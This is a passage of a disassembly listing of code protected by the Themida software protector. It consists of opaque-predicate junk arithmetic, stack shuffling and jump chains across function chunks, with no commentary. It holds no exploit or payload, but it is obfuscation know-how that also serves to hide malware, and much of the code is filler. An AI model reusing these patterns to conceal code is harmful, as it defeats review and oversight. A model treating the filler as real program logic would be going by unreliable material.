add edx, 32076E9h
add edx, 0EF14FB4h
sub edx, ebx
sub edx, 0EF14FB4h
push eax
mov eax, 32076E9h
sub edx, eax
pop eax
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+0]
pop esp
jmp loc_594AA6
; END OF FUNCTION CHUNK FOR sub_5A0060
; ---------------------------------------------------------------------------
loc_59ED6A: ; CODE XREF: Themida_:00591080j
mov ebp, esi
mov esi, [esp]
add esp, 4
add edi, ebp
pop ebp
push esi
mov esi, esp
push ebp
mov ebp, 6BED3636h
sub ebp, 24DE2B61h
jmp loc_59FA85
; ---------------------------------------------------------------------------
loc_59ED89: ; CODE XREF: Themida_:00597E37j
sub al, 34h
add al, 0
sub al, bl
sub al, 0
add al, 34h
jmp loc_5A3CE5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59ED98: ; CODE XREF: sub_59390B+78AEj
add ebp, eax
sub ebp, 156C5426h
jmp loc_5A5446
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59EDA5: ; CODE XREF: Themida_:00597F7Dj
or ecx, 8B56E88h
jmp loc_59ABE1
; ---------------------------------------------------------------------------
loc_59EDB0: ; CODE XREF: Themida_:005A0948j
pop esp
push eax
mov eax, 4
add ecx, eax
mov eax, [esp]
add esp, 4
add ecx, 4
jmp loc_5A0EB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_597198
loc_59EDCD: ; CODE XREF: sub_597198-1F06j
xor esi, 0AA356000h
or [edi+1Ch], esi
pop esi
jmp loc_593268
; END OF FUNCTION CHUNK FOR sub_597198
; ---------------------------------------------------------------------------
pop small word ptr [edx]
jmp loc_59A49D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59EDE4: ; CODE XREF: sub_59390B+7B99j
and eax, esi
jmp loc_59814B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59EDEB: ; CODE XREF: Themida_:005A18EDj
add edx, eax
push dword ptr [esp]
jmp loc_5A1693
; ---------------------------------------------------------------------------
loc_59EDF5: ; CODE XREF: Themida_:00590BB0j
push esp
push dword ptr [esp]
push dword ptr [esp]
pop ebp
push edx
mov edx, esp
jmp loc_5A5315
; ---------------------------------------------------------------------------
loc_59EE05: ; CODE XREF: Themida_:005A4138j
mov [esp], ebx
mov ebx, 4
sub esi, ebx
jmp loc_595A36
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A085D
loc_59EE14: ; CODE XREF: sub_5A085D-A373j
mov [esp], esp
add dword ptr [esp], 4
pop edi
push ecx
mov ecx, 33942D17h
xor ecx, 33942D13h
add edi, 3C6705E3h
add edi, ecx
sub edi, 3C6705E3h
mov ecx, [esp]
add esp, 4
add edi, 4
jmp loc_599670
; END OF FUNCTION CHUNK FOR sub_5A085D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A113A
loc_59EE47: ; CODE XREF: sub_5A113A-1677j
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_5A113A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59EE4C: ; CODE XREF: sub_59390B+7FEj
pop esp
pop [esp+14h+var_14]
mov edx, [esp+10h+var_10]
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_5996D3
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59EE65: ; CODE XREF: Themida_:0059D7D8j
mov esi, esp
jmp loc_5946A1
; ---------------------------------------------------------------------------
loc_59EE6C: ; CODE XREF: Themida_:005927D5j
push eax
mov eax, 10F261A7h
add eax, 683DDA5h
or esi, eax
pop eax
jmp loc_593D9E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59EE7F: ; CODE XREF: sub_59390B-1936j
push small 6BDCh
mov word ptr [esp-12h+arg_8+2], dx
push ebx
mov ebx, esp
push ecx
mov ecx, 69034F3Ah
inc ecx
add ecx, 96FCB0C9h
add ebx, ecx
jmp loc_59443F
; ---------------------------------------------------------------------------
loc_59EE9E: ; CODE XREF: sub_59390B+934j
add edx, 1FE84E49h
pop eax
inc edx
push 3B5Dh
jmp loc_598957
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59EEB0: ; CODE XREF: Themida_:005A1830j
xchg eax, edi
dec edi
shl edi, 2
sub edi, 90AA16Ch
inc edi
and edi, 373953A3h
and edi, 58F67B10h
jmp loc_5913A1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59EECD: ; CODE XREF: sub_59390B+DFB5j
add edi, 4FFC2667h
dec edi
shl edi, 6
add edi, 9AC8F268h
sub eax, edi
pop edi
add esi, eax
mov eax, [esp+0Ch+var_C]
push eax
push esp
pop eax
add eax, 4
jmp loc_5A50B3
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59EEF2: ; CODE XREF: Themida_:0059F41Bj
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_599F63
; ---------------------------------------------------------------------------
loc_59EF01: ; CODE XREF: Themida_:00596411j
inc eax
sub eax, 0F7A95E6Fh
mov esi, eax
jmp loc_5A58EC
; ---------------------------------------------------------------------------
loc_59EF0E: ; CODE XREF: Themida_:0059EC91j
push ebp
mov ebp, esp
jmp loc_59157D
; ---------------------------------------------------------------------------
loc_59EF16: ; CODE XREF: Themida_:005A343Dj
sub ebx, edi
pop edi
push ebx
add dword ptr [esp], 4E100F11h
pop edi
sub edi, 4E100F11h
jmp loc_597E73
; ---------------------------------------------------------------------------
loc_59EF2D: ; CODE XREF: Themida_:0059EA3Bj
mov ebp, 45CB145Bh
xor ebp, 2192243h
push ebp
jmp loc_5A03EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59EF3E: ; CODE XREF: sub_59390B+8AFEj
add esp, 4
sub edi, 4
jmp loc_5969E2
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59EF4C: ; CODE XREF: Themida_:005A2293j
mov [esp], ebp
mov ebp, 4
add [esp+4], ebp
jmp loc_5A4155
; ---------------------------------------------------------------------------
loc_59EF5D: ; CODE XREF: Themida_:005A3882j
push ecx
mov ecx, 64E0083Bh
sub ecx, 0A73309A0h
xor ebp, ecx
pop ecx
sub edx, 38F97ED1h
jmp loc_59DA77
; ---------------------------------------------------------------------------
loc_59EF77: ; CODE XREF: Themida_:0059C0C8j
xor edx, 718C07A9h
or edx, 59C463BDh
jmp loc_59FECB
; ---------------------------------------------------------------------------
loc_59EF88: ; CODE XREF: Themida_:00597CC0j
add esp, 2
sub al, cl
push edx
mov dh, 0C4h
jmp loc_59E704
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2FE9
loc_59EF98: ; CODE XREF: sub_5A2FE9-9B8Aj
pop edi
add edx, ebp
mov ebp, [esp+1Ch+var_1C]
jmp loc_591898
; END OF FUNCTION CHUNK FOR sub_5A2FE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59EFA3: ; CODE XREF: sub_59390B+B904j
pop ebx
add al, 9Eh
sub al, cl
sub al, 9Eh
jmp loc_59A466
; ---------------------------------------------------------------------------
loc_59EFAF: ; CODE XREF: sub_59390B+A01Ej
add esp, 4
push ecx
mov ecx, 28C834CEh
add edx, ecx
pop ecx
jmp loc_598EC7
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59EFC3: ; CODE XREF: Themida_:005A0E98j
mov edi, 49C014D5h
sub eax, 49117951h
sub eax, edi
add eax, 49117951h
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_5959E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590AC5
loc_59EFE0: ; CODE XREF: sub_590AC5+5FC6j
pop edi
jmp loc_5A0DF9
; END OF FUNCTION CHUNK FOR sub_590AC5
; ---------------------------------------------------------------------------
loc_59EFE6: ; CODE XREF: Themida_:005997A1j
sub dword ptr [esp], 3CC7028Bh
mov esi, [esp]
add esp, 4
push edi
mov edi, 540B1A96h
neg edi
add edi, 90D21D21h
add esi, edi
jmp loc_59A221
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2552
loc_59F00B: ; CODE XREF: sub_5A2552+3488j
mov eax, esp
jmp loc_59D390
; END OF FUNCTION CHUNK FOR sub_5A2552
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_59F012: ; CODE XREF: sub_59A431-8F7Bj
pop edi
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+0Ch+var_C]
pop esp
jmp loc_59AE1A
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
loc_59F02E: ; CODE XREF: Themida_:005A3A17j
shr eax, 8
neg eax
sub eax, 0FDFFADECh
jmp loc_59D3C2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59C8A4
loc_59F03D: ; CODE XREF: sub_59C8A4+1j
mov ebx, 5EFC402Ch
sub ebx, 767443A7h
push eax
mov eax, 5D5126Ch
not eax
and eax, 481A3CE1h
jmp loc_5912AA
; END OF FUNCTION CHUNK FOR sub_59C8A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59F05A: ; CODE XREF: sub_59390B-2809j
sub ebp, esi
mov esi, [esp+4+var_4]
push eax
mov eax, esp
add eax, 4
jmp loc_59F268
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F401
loc_59F06C: ; CODE XREF: sub_59F401-874j
mov edx, 344A0555h
add [esp+8], edx
pop edx
jmp loc_59FE9F
; END OF FUNCTION CHUNK FOR sub_59F401
; ---------------------------------------------------------------------------
loc_59F07B: ; CODE XREF: Themida_:0059B068j
push eax
jmp loc_5A3FEE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59654E
loc_59F081: ; CODE XREF: sub_59654E-453Dj
shr esi, 3
sub esi, 4A9B4645h
xor esi, 0F8A54F2Eh
add ecx, esi
pop esi
mov edx, [esp+0]
push edi
mov edi, esp
jmp loc_596BDC
; END OF FUNCTION CHUNK FOR sub_59654E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59EA40
loc_59F09E: ; CODE XREF: sub_59EA40+1j
push [esp+18h+var_14]
pop ebx
pop dword ptr [esp+0]
mov esp, [esp+14h+var_14]
add esp, 4
jmp loc_592DCB
; END OF FUNCTION CHUNK FOR sub_59EA40
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59F0B4: ; CODE XREF: sub_59390B+117EEj
sub ebx, 26C31072h
jmp loc_5970AF
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590AC5
loc_59F0BF: ; CODE XREF: sub_590AC5+10F01j
and edx, 295D5613h
shl edx, 3
sub edx, 427FFFFCh
mov ecx, edx
pop edx
sub eax, ecx
pop ecx
jmp loc_593816
; END OF FUNCTION CHUNK FOR sub_590AC5
; ---------------------------------------------------------------------------
loc_59F0D9: ; CODE XREF: Themida_:00595115j
push eax
push 7FBFh
mov [esp], ebp
jmp loc_597DAF
; ---------------------------------------------------------------------------
loc_59F0E7: ; CODE XREF: Themida_:005988ACj
mov eax, edi
mov edi, [esp]
push ebp
jmp loc_5A4269
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], edi
mov edi, esp
add edi, 4
push 3514h
mov [esp], edx
push ebp
push 46ED310Ah
mov ebp, [esp]
add esp, 4
push ecx
jmp loc_596CB4
; =============== S U B R O U T I N E =======================================
sub_59F121 proc near ; CODE XREF: sub_59390B+D544j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005945DA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00594CBE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A367B SIZE 00000049 BYTES
push ebx
mov ebx, 32011047h
jmp loc_5945DA
sub_59F121 endp
; ---------------------------------------------------------------------------
loc_59F12C: ; CODE XREF: Themida_:005A0668j
add esi, 257D00A3h
shr esi, 4
not esi
push 7D87h
mov [esp], eax
push ebp
mov ebp, 79CD1090h
mov eax, ebp
pop ebp
shr eax, 4
xor eax, 0E77A2E5h
add esi, eax
pop eax
sub esp, 4
jmp loc_5931FE
; ---------------------------------------------------------------------------
loc_59F15E: ; CODE XREF: Themida_:0059AF15j
push 35EEh
jmp loc_596E6E
; ---------------------------------------------------------------------------
loc_59F168: ; CODE XREF: Themida_:005A56FBj
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_598BDD
; ---------------------------------------------------------------------------
loc_59F176: ; CODE XREF: Themida_:0059864Aj
shr eax, 1
jmp loc_59C759
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_59F17D: ; CODE XREF: sub_591FC5+D39Cj
sub ah, 57h
jmp loc_590E9C
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
loc_59F185: ; CODE XREF: Themida_:00591BE7j
mov ecx, 604E395Bh
mov edx, 19BF0388h
xor edx, ecx
pop ecx
jmp loc_5A20E0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59F197: ; CODE XREF: sub_59390B+14ECj
mov [esp+8+var_8], eax
push esi
jmp loc_5A2D4E
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59F1A0: ; CODE XREF: Themida_:005A3A70j
push edi
mov edi, 0B8252Eh
not edi
sub edi, 1
not edi
xor edi, 49E044C9h
xor edi, 57B4477Fh
push edx
mov edx, 6BBE0950h
neg edx
not edx
jmp loc_5A1448
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A17BF
loc_59F1CB: ; CODE XREF: sub_5A17BF-DEDBj
mov [esp+10h+var_10], edx
mov edx, 37DA083Dh
or edx, 439446A4h
sub edx, 0FFFFFFFFh
jmp loc_5A1E38
; END OF FUNCTION CHUNK FOR sub_5A17BF
; ---------------------------------------------------------------------------
loc_59F1E1: ; CODE XREF: Themida_:005A5B80j
mov edx, 4A720F40h
jmp loc_5972BE
; ---------------------------------------------------------------------------
loc_59F1EB: ; CODE XREF: Themida_:0059C01Ej
sub ebx, 153B7BDAh
pop esi
sub esp, 4
jmp loc_598DB5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59F1FD: ; CODE XREF: sub_59390B+E916j
mov word ptr [esp+0Ch+var_C], cx
mov cl, 1Fh
add bl, cl
pop cx
sub cl, 81h
sub cl, bl
add cl, 81h
jmp loc_59EFA3
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59F214: ; CODE XREF: Themida_:005A3AD7j
mov ebp, 59BE3114h
add edx, ebp
pop ebp
push edi
mov edi, 3F4E3A50h
add edx, edi
mov edi, [esp]
add esp, 4
pop edi
sub esp, 4
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
push 4470h
mov [esp], ebp
push 5093h
push esp
pop dword ptr [esp]
jmp loc_59F90C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59F268: ; CODE XREF: sub_59390B+B75Cj
add eax, 4
xchg eax, [esp+8+var_8]
jmp loc_5925EE
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598762
loc_59F273: ; CODE XREF: sub_598762+6C5Ej
push esi
push ebp
mov ebp, 293C7A2Ch
jmp sub_59BDD3
; END OF FUNCTION CHUNK FOR sub_598762
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598DC3
loc_59F27F: ; CODE XREF: sub_598DC3-26C5j
xor [esp+0], ebx
xor ebx, [esp+0]
jmp loc_5A1B32
; END OF FUNCTION CHUNK FOR sub_598DC3
; ---------------------------------------------------------------------------
loc_59F28A: ; CODE XREF: Themida_:005A3967j
mov eax, 393B0CE2h
jmp loc_5A23A0
; =============== S U B R O U T I N E =======================================
sub_59F294 proc near ; CODE XREF: sub_5933BB+11E41j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00591FBC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059E076 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A087B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A1B15 SIZE 0000000E BYTES
push ebx
mov ebx, 0
add ebx, 389E521Bh
add ebx, ecx
sub ebx, 389E521Bh
push ecx
mov ecx, 0
add ecx, ebx
mov eax, [ecx]
pop ecx
pop ebx
push dword ptr [esp+0]
mov ecx, [esp+4+var_4]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
push [esp+0Ch+var_8]
pop ebx
pop [esp+0Ch+var_C]
mov esp, [esp+8+var_8]
add esp, 4
push dword ptr [edi+eax*4]
mov eax, [esp-8+arg_4]
push edi
push esp
mov edi, [esp+0]
sub esp, 4
mov [esp+4+var_4], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_591FBC
sub_59F294 endp
; =============== S U B R O U T I N E =======================================
sub_59F2FC proc near ; DATA XREF: Themida_:00590A0Co
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00592844 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059A334 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0059AC9F SIZE 00000014 BYTES
mov ax, [esp+0]
push 5BD6h
jmp loc_59AC9F
sub_59F2FC endp
; ---------------------------------------------------------------------------
loc_59F30A: ; CODE XREF: Themida_:00596D90j
mov dl, 20h
or dl, 0DEh
push 437Ch
mov [esp], eax
mov ah, dl
jmp loc_59E5B0
; ---------------------------------------------------------------------------
loc_59F31E: ; CODE XREF: Themida_:00595360j
xchg edi, [esp]
pop esp
mov [esp], ebp
mov ebp, 434409F8h
mov ecx, 483857F8h
jmp loc_5A5180
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59F334: ; CODE XREF: sub_59390B+4C18j
sub edx, 70EC596Ah
xchg edx, ecx
pop edx
add ecx, 37B674FCh
jmp loc_594E45
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_59F348: ; CODE XREF: sub_59A431+9j
or ebp, 1D3B6E77h
jmp loc_59A8AC
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_59F353: ; CODE XREF: sub_591FC5+8A31j
inc ch
push eax
mov ah, 0C8h
add ah, 27h
xor ah, 46h
shr ah, 8
jmp loc_59F17D
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_59F366: ; CODE XREF: sub_59CAFB-3AE7j
mov [esp+0], ebx
push eax
push 55AB1BDAh
pop eax
jmp loc_5A0F4B
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E93C
loc_59F375: ; CODE XREF: sub_59E93C+12j
add ecx, 4
xchg ecx, [esp+0Ch+var_C]
pop esp
push edx
push 11921031h
pop edx
or ebp, edx
pop edx
inc ebp
xor ebp, 367F1DFBh
jmp loc_592570
; END OF FUNCTION CHUNK FOR sub_59E93C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5947CA
loc_59F395: ; CODE XREF: sub_5947CA+1Bj
pop edx
push eax
mov eax, esp
add eax, 4
push edi
mov edi, 537A4DA3h
sub edi, 0FFFFFFFFh
push eax
mov eax, 0D367A2h
jmp loc_5914D6
; END OF FUNCTION CHUNK FOR sub_5947CA
; ---------------------------------------------------------------------------
loc_59F3B5: ; CODE XREF: Themida_:0059281Fj
push esp
jmp loc_59CCD0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598762
loc_59F3BB: ; CODE XREF: sub_598762+3A2Aj
mov [esp+0], ecx
mov ecx, esp
jmp loc_59F273
; END OF FUNCTION CHUNK FOR sub_598762
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59F3C5: ; CODE XREF: sub_59390B+814Aj
xor [esp+0], ecx
jmp loc_5A1237
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59F3CD: ; CODE XREF: Themida_:005922BDj
push ebx
mov bl, ch
mov dl, bl
mov ebx, [esp]
add esp, 4
pop ecx
add dl, 1
jmp loc_5991F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59F3E4: ; CODE XREF: sub_59390B-2355j
mov esi, edx
jmp loc_593C81
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_59F3EB: ; CODE XREF: sub_5A51EA+5j
pop ebx
push ecx
mov cl, 0E6h
jmp loc_5A1785
; END OF FUNCTION CHUNK FOR sub_5A51EA
; ---------------------------------------------------------------------------
loc_59F3F4: ; CODE XREF: Themida_:005A49EAj
add ecx, 0B9781177h
mov eax, ecx
jmp loc_5A09E6
; =============== S U B R O U T I N E =======================================
sub_59F401 proc near ; CODE XREF: sub_5969DC-5360j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00599CA4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059EB87 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059F06C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059FE9F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A047B SIZE 00000009 BYTES
push ebx
mov ebx, 344A0555h
jmp loc_5A047B
sub_59F401 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599F38
loc_59F40C: ; CODE XREF: sub_599F38+B896j
push [esp+10h+var_10]
pop ebp
add esp, 4
push edx
jmp loc_5988E7
; END OF FUNCTION CHUNK FOR sub_599F38
; ---------------------------------------------------------------------------
loc_59F419: ; CODE XREF: Themida_:00595ADDj
sub ebp, edx
jmp loc_59EEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59F420: ; CODE XREF: sub_59390B+1E05j
add esp, 4
add esi, 4
push ebp
mov ebp, 4
add esi, ebp
jmp loc_59F619
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59F436: ; CODE XREF: Themida_:0059AD57j
mov edx, [esp]
sub esp, 4
jmp loc_59E473
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59F444: ; CODE XREF: sub_59390B-195Ej
pop ebx
jmp loc_5942E7
; ---------------------------------------------------------------------------
loc_59F44A: ; CODE XREF: sub_59390B+371j
mov ax, word ptr [esp-12h+arg_8+2]
jmp loc_59E014
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59B06D
loc_59F453: ; CODE XREF: sub_59B06D+1j
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+4+var_4]
mov esp, [esp+4+var_4]
mov [esp-4+arg_0], edx
push esp
pop edx
push eax
mov eax, 721907C8h
add eax, 8DE6F83Ch
add edx, eax
pop eax
push ecx
mov ecx, 640536F4h
xor ecx, 5CD9037Bh
not ecx
xor ecx, 31CF74BBh
sub ecx, 0F6ECBEC7h
add edx, 0A962689h
sub edx, ecx
jmp sub_593879
; END OF FUNCTION CHUNK FOR sub_59B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_59F49E: ; CODE XREF: sub_5936EC+71ABj
push eax
mov eax, 6BD9655Eh
or eax, 71144E61h
not eax
xor eax, 3BEE0F1Dh
add eax, 5D90DEDBh
xor ecx, eax
pop eax
xor ecx, 0B589BCBCh
jmp loc_5A2D00
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
mov eax, [esp]
push esi
push esp
pop esi
sub esp, 4
jmp loc_59DD82
; =============== S U B R O U T I N E =======================================
sub_59F4D4 proc near ; CODE XREF: sub_59390B+120FEj
; FUNCTION CHUNK AT 005A0EC5 SIZE 00000006 BYTES
push ebx
mov ebx, 201A0D77h
jmp loc_5A0EC5
sub_59F4D4 endp
; ---------------------------------------------------------------------------
loc_59F4DF: ; CODE XREF: Themida_:0059716Fj
mov [esp], esp
jmp loc_597C45
; =============== S U B R O U T I N E =======================================
sub_59F4E7 proc near ; CODE XREF: sub_5A4CF8-E49Ej
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 00591D7A SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00591E81 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005955FA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00598B2A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005999B2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059B481 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059EA6C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A0B1D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A1205 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A35E3 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A3D94 SIZE 00000026 BYTES
push ebp
mov ebp, 1E1F2407h
and ebp, 285522B5h
xor ebp, 123D1B07h
jmp loc_59EA6C
sub_59F4E7 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_59F4FE: ; CODE XREF: Themida_:005A1EF2j
add edx, ecx
jmp loc_59C23A
; =============== S U B R O U T I N E =======================================
sub_59F505 proc near ; CODE XREF: sub_59390B+7080j
; FUNCTION CHUNK AT 00594F95 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00595FD7 SIZE 0000000D BYTES
push ebp
push eax
mov eax, 71C2065h
mov ebp, eax
pop eax
shl ebp, 3
or ebp, 160650B7h
jmp loc_594F95
sub_59F505 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_59F51D: ; CODE XREF: sub_59E918-9C8Bj
xor bl, ch
pop cx
jmp loc_591791
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_59F526: ; CODE XREF: sub_59FD45+4750j
add esp, 4
jmp sub_59ADCD
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59F52E: ; CODE XREF: sub_59390B-E39j
mov ebx, esi
mov esi, [esp-14h+arg_C]
jmp sub_595BAD
; ---------------------------------------------------------------------------
loc_59F538: ; CODE XREF: sub_59390B+6500j
push eax
push ebx
jmp loc_59AE38
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_59F53F proc near ; CODE XREF: sub_590AC5+94Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 00592B3E SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005958D4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005965C9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00597FE1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00598EB3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00599A7E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059B138 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B8CD SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0059BB02 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059D59D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D9F6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A1E18 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A45DE SIZE 00000008 BYTES
push ebx
mov ebx, 4C07E76h
xor edx, ebx
mov ebx, [esp-0Ch+arg_8]
add esp, 4
jmp loc_598EB3
sub_59F53F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59ADCD
loc_59F552: ; CODE XREF: sub_59ADCD+13j
sub ebp, 26447CE9h
push [esp+4+var_4]
pop eax
add esp, 4
push ebp
pop dword ptr [edi+20h]
jmp loc_5A5B8E
; END OF FUNCTION CHUNK FOR sub_59ADCD
; ---------------------------------------------------------------------------
loc_59F568: ; CODE XREF: Themida_:0059DC6Fj
mov fs:[edx], al
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_59F570: ; CODE XREF: Themida_:005A2490j
shl ebx, 8
or ebx, 346F06BFh
shl ebx, 3
jmp loc_5A2BB9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0D58
